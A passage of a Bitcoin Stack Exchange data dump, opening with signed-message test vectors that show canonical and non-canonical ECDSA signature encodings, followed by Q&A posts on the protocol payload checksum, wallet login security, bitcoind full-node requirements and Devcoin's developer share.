ICLRZEqnmnOe21ZmOiKKxIpgN3F8gyxkHRYuXVJucXQAYv2FSwhrBU7djsZcDx0hSy5ilsRMBzBBIsuqkxQBEb4=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  032275700C1D9D1312266E4A0601DF98906C1458ACE8410FD8B6B6748FE9E65F3F&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 22D1644AA79A739EDB56663A228AC48A6037717C832C641D162E5D526E717400&#xA;Signature S (may need alignment to 32 bits): 62FD854B086B054EDD8EC65C0F1D214B2E6296C44C07304122CBAA93140111BE&#xA;Signature Noncanonical: ICLRZEqnmnOe21ZmOiKKxIpgN3F8gyxkHRYuXVJucXQAAWL9hUsIawVO3Y7GXA8dIUnpEXOq+0/QfOKeCR/kN1I=&#xA;S value noncanonical: 160566680661011880010816576153459883182868735970539852654309056175300236759807&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**Canonical formatting of S, twos' compliment formatting of R, S has 4 zeroes **&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, RGreaterThan32, SLessThan32_4&#xA;Private as hex 73831678241472856909648189538766342154493645679368128703486299335910825024625&#xA;Public address 1MduqSPRnVWjYKNw9XyxDrTd4ScDGeB9h7&#xA;Message: test123&#xA;Signature: IADsZCQ4jSdVXJXFLMVmdvTL9Tj/P/ajJxOfbcsDUkqPANIxZZBd0aY4dqbglYBWzltXfGgVzRb6QSlDTps9bc0=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  03EC5FD98EA4AC0B31E9F416CE90C91297AB7DA551E413206DAD423E6EE61233AB&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00EC6424388D27555C95C52CC56676F4CBF538FF3FF6A327139F6DCB03524A8F&#xA;Signature S (may need alignment to 32 bits): 00D23165905DD1A63876A6E0958056CE5B577C6815CD16FA4129434E9B3D6DCD&#xA;Signature Noncanonical: IADsZCQ4jSdVXJXFLMVmdvTL9Tj/P/ajJxOfbcsDUkqPAQDSMWWQXdGmOHam4JWAVs0WBllOxRW3NgD7odtrc68=&#xA;S value noncanonical: 116163468044648827127288252771819760996859021381472042992761249252296984080142&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S, S and R has twos compliment zero appended&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, RGreaterThan32, SGreaterThan32, RHasZeros_1&#xA;Private as hex 39596642972382804109878550299664212933475275372831393917296101877715292328542&#xA;Public address 1KTMQ9PR7BTV7wofHW74nekbsDi4GYAEzN&#xA;Message: test123&#xA;Signature: IC7iMUeYPL9SuwIfs2BDoUO3cuMUVFxegg50A5HkKLeAAHyXhyVmnwgH/EzkCpITKkkn5PTAoZ6ZZv8/4PR6bAA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  02218C61C3BB82864EF5646985C0BD1412C9236016D5ECFE3BB99ABDCCE39523DF&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 2EE23147983CBF52BB021FB36043A143B772E314545C5E820E740391E428B780&#xA;Signature S (may need alignment to 32 bits): 00FF836878DA9960F7F803B31BF56DECD47186F7F1EEA701A258D31EABDBBBD541&#xA;Signature Noncanonical: IC7iMUeYPL9SuwIfs2BDoUO3cuMUVFxegg50A5HkKLeA/4NoeNqZYPf4A7Mb9W3s1HGG9/HupwGiWNMeq9u71UE=&#xA;S value noncanonical: 115571954394053739614724418392364175348093401631755466105511097999314105652545&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S, s is short with 4 zeroes, r is short by 1 zero&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, SGreaterThan32, SLessThan32_4, RHasZeros_1&#xA;Private as hex 27286465058545275041328003731375053608759800669744477817022805727071484951337&#xA;Public address 1KoZDczy6zyaRgHGVGC7pDYHVfsVo4Zo29&#xA;Message: test123&#xA;Signature: IADffy/L1F2PVhegdf0t4uFghkMH27nBSgOqK0Ikks+lUP33OvEckmcN1g1qfYRhE713I/KRT3DFJ1pP4xzwuQA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  02444327032C13B19080452CED31222B90FB4F391A9E7FD8E1B01B855A759F2F4A&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00DF7F2FCBD45D8F5617A075FD2DE2E160864307DBB9C14A03AA2B422492CFA5&#xA;Signature S (may need alignment to 32 bits): 00AF0208C50EE36D98F229F295827B9EEAFD37B8F41DF92F7698780EA9B3458841&#xA;Signature Noncanonical: IADffy/L1F2PVhegdf0t4uFghkMH27nBSgOqK0Ikks+lrwIIxQ7jbZjyKfKVgnue6v03uPQd+S92mHgOqbNFiEE=&#xA;S value noncanonical: 79158342722849373070469141236626058792498908884517253652334720352725196179521&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, RGreaterThan32, RHasZeros_1&#xA;Private as hex 108826293911840673209374265929265828788892543057636454753466906283594659795938&#xA;Public address 1Ctimb69eWuR7treaygbPcASkoqUwPGPn1&#xA;Message: test123&#xA;Signature: ILFG8FtncxYlOIC3ts7r3YI86OWT2TMD108MAokN++YjUaUPLxi1hwa+4BYf6zJ/NYIuGWG+sfK7zv8GzvONAAA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  0234F964166A1A393348D7789FB3792E189C5964A0438952DB4889EA07BE819F55&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00B146F05B677316253880B7B6CEEBDD823CE8E593D93303D74F0C02890DFBE623&#xA;Signature S (may need alignment to 32 bits): 00AE5AF0D0E74A78F9411FE9E014CD80C93880C384F096AD7FF0D357BDDCA94141&#xA;Signature Noncanonical: ILFG8FtncxYlOIC3ts7r3YI86OWT2TMD108MAokN++Yjrlrw0OdKePlBH+ngFM2AyTiAw4Twlq1/8NNXvdypQUE=&#xA;S value noncanonical: 78863113940468318276170609985176761212205417632686831042339146260770630222145&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;R has 1 zero, R and S greater than 32 bytes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   RGreaterThan32, SGreaterThan32, RHasZeros_1&#xA;Private as hex 35662537539778787177688141198176047348648692780898797308846230271410478493419&#xA;Public address 1CiLSHH4CXzgPkmbazysvEX8ykb8vU2feB&#xA;Message: test123&#xA;Signature: H3UW7wX01OMT7njU/f/PQtD+hCNPoIy0rALf0PEnZQYAAJYuisnyAVkVIC7qpGcSugPKnf8LHdCQLjtt60gczRY=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  025125B47BE00D50A535B5C9C09E86102BF182D9FE2F6F0AB4A8AC4335149C1C74&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 7516EF05F4D4E313EE78D4FDFFCF42D0FE84234FA08CB4AC02DFD0F127650600&#xA;Signature S (may need alignment to 32 bits): 00962E8AC9F2015915202EEAA46712BA03CA9DFF0B1DD0902E3B6DEB481CCD16&#xA;Signature Noncanonical: H3UW7wX01OMT7njU/f/PQtD+hCNPoIy0rALf0PEnZQYAAQCWLorJ8gFZFSAu6qRnEri+eXrlumZwy+4NzHgYUw4=&#xA;S value noncanonical: 116057437519104871322947020543239762978159794193905342046496826541933056953943&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;S is not changed, R and S are large&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   RGreaterThan32, SGreaterThan32, SLessThan32_4&#xA;Private as hex 23984934282846201135004307705980641080962872643161302353166056218330425914143&#xA;Public address 1BcN5pYGUUChE3dk5CCiQeULESZzFYGHPC&#xA;Message: test123&#xA;Signature: IOoKQ4fmynIUV5RxzPlgU3TZr6hyyH9wXqjqU1OFagAARsDeWu8rbvlpk8MQrs+ad33BFRl3hTU03UYHtm3Kefs=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  02260CA828D9D5A49C6C71B52A7C54CF5FEAF2F8599C07C96FDA238072A162364F&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00EA0A4387E6CA7214579471CCF9605374D9AFA872C87F705EA8EA5353856A0000&#xA;Signature S (may need alignment to 32 bits): 46C0DE5AEF2B6EF96993C310AECF9A777DC1151977853534DD4607B66DCA79FB&#xA;Signature Noncanonical: IOoKQ4fmynIUV5RxzPlgU3TZr6hyyH9wXqjqU1OFagAAAUbA3lrvK275aZPDEK7PmnY4b/IAJs3VcJ0YZkM+ALs=&#xA;S value noncanonical: 147794757913853985161250377857925980185202154991282544344677638464716884982588&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rare signature format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SGreaterThan32, SLessThan32_4&#xA;Private as hex 19667464441218362309299491158177437155557792575544103707902999231594717797844&#xA;Public address 19cjvNftNKJBMcnuzHkcYrRQarjN7JMzkP&#xA;Message: test123&#xA;Signature: HwAAXzUsb6h+f1uwtl34AY6mZAhuUtzUhZwA85CjmoPfHs6AsOwzCCC3/1wjDws2JaUD0wesu1CwN9e/sFm/HmM=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  0372400B013BF5240116E431C1EADC00B9C2BC8A3DFFB669FB91987519ED0A20D9&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 5F352C6FA87E7F5BB0B65DF8018EA664086E52DCD4859C00F390A39A83DF&#xA;Signature S (may need alignment to 32 bits): 1ECE80B0EC330820B7FF5C230F0B3625A503D307ACBB50B037D7BFB059BF1E63&#xA;Signature Noncanonical: HwAAXzUsb6h+f1uwtl34AY6mZAhuUtzUhZwA85CjmoPfAR7OgLDsMwggt/9cIw8LNiRfsq/uXAPw6/eqHj0p9V8=&#xA;S value noncanonical: 129726333383516230935110821215596586503825072828858936394280121229644796354468&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Very rare signature result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   RGreaterThan32, RHasZeros_1&#xA;Private as hex 77359564092138606367423909782286964438584967790833203478204963256314910737690&#xA;Public address 1FAzeMcAsH16Vrib9AfRT569442nAxAyWs&#xA;Message: test123&#xA;Signature: ID/UoYIc6He5C1/UOEhNPj/N4r2OIqP2Zdku0ZtXv4MecyHvpOanKO2Jjy2gO+lMSHL8DJuj/WQhzHg9g3VqAAA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  020070B083903DC8EDE561B2990461DC70938898C19346D7F2FEF866629B3B0CB1&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 3FD4A1821CE877B90B5FD438484D3E3FCDE2BD8E22A3F665D92ED19B57BF831E&#xA;Signature S (may need alignment to 32 bits): 7321EFA4E6A728ED898F2DA03BE94C4872FC0C9BA3FD6421CC783D83756A0000&#xA;Signature Noncanonical: ID/UoYIc6He5C1/UOEhNPj/N4r2OIqP2Zdku0ZtXv4MeAXMh76TmpyjtiY8toDvpTEctqumCU0YEXYxKnBBFoEE=&#xA;S value noncanonical: 167868026740628245794433774394316657246741244361239390199489610006892252250433&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2018-03-26T12:30:45.083" LastActivityDate="2018-03-26T12:30:45.083" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22882" PostTypeId="1" CreationDate="2014-03-01T17:04:06.563" Score="1" ViewCount="594" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Common_structures&quot; rel=&quot;nofollow&quot;&gt;protocol specification&lt;/a&gt; at the Bitcoin wiki, each message header includes the  &lt;em&gt;first 4 bytes of sha256(sha256(payload)&lt;/em&gt; as a packet checksum. I suppose this checksum is used for packet validation, but I do not see any benefit of this, as Bitcoin utilizes TCP which already has (as far as I know) full protection from lost and damaged  packets. So... why this checksum? Is it to maintain compatibility for future UDP clients?&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="5406" LastEditDate="2014-03-03T12:58:32.580" LastActivityDate="2014-11-28T18:02:19.727" Title="What is the function of the payload_checksum field in the Bitcoin protocol" Tags="|security|tcp|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22883" PostTypeId="2" ParentId="4445" CreationDate="2014-03-01T17:18:20.950" Score="4" Body="&lt;p&gt;Your could also use &lt;a href=&quot;https://www.biteasy.com/testnet/blocks&quot; rel=&quot;nofollow&quot;&gt;Biteasy.com Testnet Block Explorer&lt;/a&gt; which is pretty fast and also includes a REST API.&lt;/p&gt;&#xA;" OwnerUserId="12525" LastActivityDate="2014-03-01T17:18:20.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22884" PostTypeId="2" ParentId="22503" CreationDate="2014-03-01T17:49:44.687" Score="1" Body="&lt;p&gt;This turned out to be a problem with installing two different versions of the nvidia driver on *nix&lt;/p&gt;&#xA;" OwnerUserId="503" LastActivityDate="2014-03-01T17:49:44.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22886" PostTypeId="2" ParentId="22875" CreationDate="2014-03-01T18:34:12.513" Score="1" Body="&lt;p&gt;pyramids provided a really good answer. I would like to add though that as time passes and Bitcoin prevails as an alternative viable virtual currency due to ever growing acceptance/usage then Investment/Financial Firms and Banks may well consider accepting Bitcoin. They would have to remain in business. But you can bet there will likely be BIG FEES for accepting it and stringent margin requirements with minimum 50% in all likelihood and doubtful will allow lending on margin over and above this.&lt;/p&gt;&#xA;" OwnerUserId="13840" LastActivityDate="2014-03-01T18:34:12.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22887" PostTypeId="2" ParentId="22882" CreationDate="2014-03-01T18:50:15.430" Score="2" Body="&lt;p&gt;&quot;Full protection&quot; is a relative term.  TCP packets include only a simple checksum, effectively just the sum of all the 16-bit words in the packet.  See RFC 793 section 3.1.  This is a fairly weak integrity protection mechanism.  The Bitcoin designers may have felt the use of sha256 gave better protection.  It may also, as you say, have been intended to provide forward compatibility for running Bitcoin over UDP or other protocols.  It may even just have been paranoia.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-03-01T18:50:15.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22889" PostTypeId="1" CreationDate="2014-03-01T19:48:15.437" Score="1" ViewCount="521" Body="&lt;p&gt;Please help. I have finally set up my cold storage system for but I am too paranoid to login to blockchain.info wallet to send the funds out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume the account is safe and protected from most attacks at this very moment (strong passwords + graphical keyboard, 2FA, using secure network, no online backups sitting somewhere). Let's also assume bc itself can be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I feel the wallet is relatively safe just &quot;sitting there&quot; but I am still concerned about attacks during the actual login and while I am sending transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- Would the chrome app or firefox extension be safer than logging in and out of their URL?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-Is it a bad idea to use TORBROWSER? Can an exit node still sniff my data if I'm using https? What about the FF extension AND torbrowser together.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-Even if I take advantage of all best security practices on the wallet itself, my physical system, and my personal network... WHAT OTHER &lt;em&gt;REALISTIC&lt;/em&gt; VECTORS SHOULD I BE AWARE OF?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much. Security is a huge hurdle for all of us…I hope that others can benefit from your answers.&lt;/p&gt;&#xA;" OwnerUserId="14048" LastActivityDate="2014-07-01T04:43:48.543" Title="Safest method while actually logging in and using blockchain.info wallet" Tags="|wallet|security|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22892" PostTypeId="2" ParentId="22889" CreationDate="2014-03-01T20:47:37.753" Score="2" Body="&lt;p&gt;The key to security questions is asking what you want to be secure from. The most obvious problem you will want to avoid is losing your bitcoin to some attacker. If this is the &lt;em&gt;only&lt;/em&gt; objective you have, it is easy to see that TOR will probably not help you: It only introduces more nodes to pass your traffic, not extra encryption security. But if you have some additional objectives, such as maintaining anonymity, TOR might help as part(!) of a much more difficult solution. For the rest of my answer, I will assume that not losing your bitcoin to a cybercriminal is your only concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cold storage is a good start, and by offline storage usually being tangible physical storage, your own intuition is probably rather good at understanding all issues there. Moving to the moment when you move bitcoin back from cold storage to a wallet, the issues are obviously the transport and the execution environment of the bitcoin client through which you use the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info provides a fairly reputable wallet service that claims to not actually move enough information to their servers for that side to be a security concern (and they appear to run an open source wallet, with code &lt;a href=&quot;https://github.com/blockchain/My-Wallet&quot; rel=&quot;nofollow&quot;&gt;on github&lt;/a&gt;). But what guarantees do you have to trust that this is and remains the case for you? If you value safety against being lied to (and be it only by some secret order to blockchain.info or because whoever may hack them might be as vile as to change things without asking for their approval first), then this is not a perfect solution---but you may decide to put more trust in them than in maintaining a safe execution environment for a bitcoin client on your own computer or smartphone. In one aspect, however, their wallet service may be particularly bad, though: Being in large part client-safe based (such that they alone can claim not to have their private key), obviously even using them you are exposed to the risk of your browser/computer being hacked in a way specifically aimed at hijacking your bitcoin transaction by changing its destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a browser app to access blockchain.info would probably protect against nothing else but you mistyping their URL to something registered by a cybercriminal. As crazy as this sounds, it is not without value, but compare that risk to the risk of forgetting to never install any other browser app (these things can get access to just about anything that happens inside your browser, hence quite likely to everything needed to hijack a transaction you make thourgh blockchain.info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing would be to have a completely self-contained box where your private key never needs to leave it, but from where you could make bitcoin transactions by entering the necessary info (destination address and unspent input tx), signing them, and outputting the tx that needs to be passed on to the bitcoin network. Such hardware bitcoin clients exist, e.g. &lt;a href=&quot;http://www.bitcointrezor.com/&quot; rel=&quot;nofollow&quot;&gt;TREZOR&lt;/a&gt; or &lt;a href=&quot;http://bitcoincard.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoincard&lt;/a&gt;. However, I haven't looked closely at either, so please don't understand this as endorsement about their design or structure---in fact, from just a cursory look, I feel that maybe I should warn you about Bitcoincard pitching the inherent, well, surveillance-like data mining benefits to merchants installing supporting infrastructure. I suspect this list is not complete; I've heard an idea somewhere about putting such a client into (or via a shim on top of) a phone SIM card, and apart from the obvious question of how to secure the rest of the hardware you would use to interact with it, love the idea for its potential low cost yet more-secure-than-a-smartphone-app aspect. If I wasn't busy with another project, I might try to make that happen myself!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But back to the last part of your question: Let us assume that you stop using a third-party service like blockchain.info and run a bitcoin client on your own &quot;physical system&quot; as you write (I'll assume computer/smartphone), and that those best practices you mention are sufficient to keep unwanted malware and the like out of your computer (and whatever internal part of your network might handle sensitive information like your bitcoin address' private key). That may be overly optimistic, as I guess the NSA leaks we've seen make it fairly clear that this situation is very nearly impossible to maintain with personal computing equipment not specifically dedicated to, designed and hardened for a single use, at least not against a sufficiently determined and equipped adversary---but that part of computer security is better addressed elsewhere on stackexchange anyways. Still, if we can assume all that, or are simply not worried about such adversaries becoming interested in petty crime such as taking bitcoins, the obvious remaining attack vector is the bitcoin client itself. If any such client has an undiscovered bug that allows stealing bitcoin, then chances are it could be discovered after an exploit. You would minimized your exposure by using the latest version of such a client offline to create the transaction you intend to make (which may require use of a command-line interface on some clients). In fact, if you then take that new transaction and transfer it to a different system not in possession of your private key, you can completely isolate the first computer from the internet and hence any attack coming from the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously there are non-network based attack or loss vectors, like physically stealing one (or losing all) your cold storage device (paper?). With their own potential solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is one well-known (and fairly obvious, to a cryptographer) potential problem that can be exploited even without your wallet being in any way connected to the internet: The private key to your bitcoin address may be weak in the sense that someone can guess it. There are two obvious causes: Either you have a brain wallet with a guessable passphrase---an easy mistake to make accidentally, as it is hard not to see how e.g. a phrase you thought you had invented yourself really happens to be printed somewhere in a book that an attacker uses to guess bain wallets, just because some author stumbled across the same idea for a sentence or phrase. Or else the software you used to generate your bitcoin address has a bug that leads to a weak key, which has already happened, leading to the discovery of a very serious defect (see &lt;a href=&quot;http://www.theguardian.com/technology/2013/aug/15/google-android-bitcoin-securerandom-vulnerability&quot; rel=&quot;nofollow&quot;&gt;this Guardian article&lt;/a&gt;) in the Android random number generator.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-03-01T20:47:37.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22896" PostTypeId="1" CreationDate="2014-03-02T02:06:18.590" Score="0" ViewCount="59" Body="&lt;p&gt;Haven't found a clear answer to this, but I have heard that various coins charge a sort of &quot;developer tax&quot;. I've looked through a bunch of various crypto's sourcecode, but I haven't found any hints as to how it's implemented, let alone in what portion of the code it would be in. &#xA;Could someone reveal a little sunlight onto this behavior? &lt;/p&gt;&#xA;" OwnerUserId="14056" LastEditorUserId="5406" LastEditDate="2016-04-25T20:21:52.720" LastActivityDate="2016-04-25T20:21:52.720" Title="Fees/Taxes on Each Block Found" Tags="|protocol|transaction-fees|altcoin|mining-software|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22898" PostTypeId="1" CreationDate="2014-03-02T02:43:08.267" Score="2" ViewCount="3687" Body="&lt;p&gt;I'm using bitcoind on a project, and I only need to send bitcoins to myself (from one wallet to another), so trust is not a factor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, is there a way to run bitcoind without needing to download the full blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I know Bitcoin-QT runs as &quot;full node&quot;. Does bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="14058" LastActivityDate="2015-09-22T15:42:18.403" Title="Is it possible to run bitcoind without downloading the blockchain?" Tags="|transactions|blockchain|bitcoind|block|nodes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22901" PostTypeId="2" ParentId="22898" CreationDate="2014-03-02T04:28:22.833" Score="2" Body="&lt;p&gt;No, there's no way to run bitcoind without downloading the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-02T04:28:22.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22902" PostTypeId="2" ParentId="22896" CreationDate="2014-03-02T06:46:29.390" Score="0" Body="&lt;p&gt;I think you are talking about Devcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devcoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.devcoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which sends out 90% of mined coins to the developers of the coin based on the csv files stored with the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devtome.com/doku.php?id=devcoin&quot; rel=&quot;nofollow&quot;&gt;http://www.devtome.com/doku.php?id=devcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Receiver Files Client Procedure Receiver.h accesses a synchronized&#xA;  list of receivers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, say the devcoin client requests the height 9000&#xA;  receivers, the height step is 4000 and only the root receiver_0.csv&#xA;  saved. Receiver.h will first look for the receiver_2.csv file. Since&#xA;  it's not there it will step down and look for receiver_1.csv. Still&#xA;  not there so it looks for and finds receiver_0.csv. It then downloads&#xA;  receiver_1.csv by looking at the peers in receiver_0.csv and saves in&#xA;  the data directory. It then downloads receiver_2.csv by looking at the&#xA;  peers in receiver_1.csv and saves in the data directory. Once it has&#xA;  receiver_2.csv, it parses it to get the list of receivers and uses&#xA;  height modulo list length to return the receivers for height 9000.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Receiver also looks ahead, after it is a random portion between 0.75&#xA;  and roughly 0.95 of the way to the next step so that there is no mass&#xA;  downloading when the block height switches from x999 to x000. To&#xA;  resist ddos attacks and to work even when some web sites are down, it&#xA;  picks the page which the majority of peers have available. The step&#xA;  size of 4000 gives an update roughly each month.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Disbursing the Share The generation share is 90% of the block, which&#xA;  is 90% * 50,000 devcoins = 45,000 devcoins. It is disbursed to the&#xA;  devcoin addresses in the receiver file, in round robin order. In each&#xA;  generation round, for a given block height, the index of the line of&#xA;  addresses is the block height above the start of the round, modulo the&#xA;  number of addresses. The code snippet for that follows below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-02T06:46:29.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22903" PostTypeId="2" ParentId="22875" CreationDate="2014-03-02T06:49:17.633" Score="1" Body="&lt;p&gt;No services for mainstream companies, but there are a couple of sites I've seen for stocks and IPO's however these are mostly in Crypto related companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cryptostocks.com/&quot; rel=&quot;nofollow&quot;&gt;https://cryptostocks.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.havelockinvestments.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.havelockinvestments.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-02T06:49:17.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22904" PostTypeId="2" ParentId="18963" CreationDate="2014-03-02T06:58:12.860" Score="0" Body="&lt;p&gt;There are a couple that may be what your looking for.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Transactions - &lt;a href=&quot;http://opentransactions.org/wiki/index.php?title=Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://opentransactions.org/wiki/index.php?title=Main_Page&lt;/a&gt;&#xA;This is more general and not specifically targeted at Cryptocurrency, it seems pretty malleable and could be used for what you are describing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://counterparty.co/&quot; rel=&quot;nofollow&quot;&gt;https://counterparty.co/&lt;/a&gt; - This is similar to above, and as I have only just recently found it cant say much, but also looks to do the job.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-02T06:58:12.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22905" PostTypeId="2" ParentId="11390" CreationDate="2014-03-02T07:27:19.627" Score="2" Body="&lt;p&gt;The NXT Cryto has a built in alias system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nxtcrypto.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.nxtcrypto.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-02T07:27:19.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
